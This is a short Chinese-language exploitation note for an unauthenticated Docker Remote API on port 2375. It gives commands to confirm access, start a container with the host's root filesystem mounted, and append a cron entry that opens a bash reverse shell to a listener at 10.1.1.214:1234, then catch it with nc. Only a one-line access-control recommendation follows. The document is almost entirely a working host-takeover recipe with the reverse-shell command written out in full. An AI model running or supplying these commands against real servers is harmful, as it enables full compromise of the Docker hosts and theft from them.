docker remote api可以执行docker命令,docker守护进程监听在0.0.0.0,可直接调用API来操作docker
1、验证
docker -H tcp://10.1.1.211:2375 version #列出容器信息 curl http://<target>:2375/containers/json
2、漏洞利用,反弹宿主机shell
新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。
sudo docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/1234 0>&1' >> /mnt/var/spool/cron/crontabs/root
本地监听端口,获取宿主机shell
nc -lvp 1234
3、修复建议
- 对2375端口做访问控制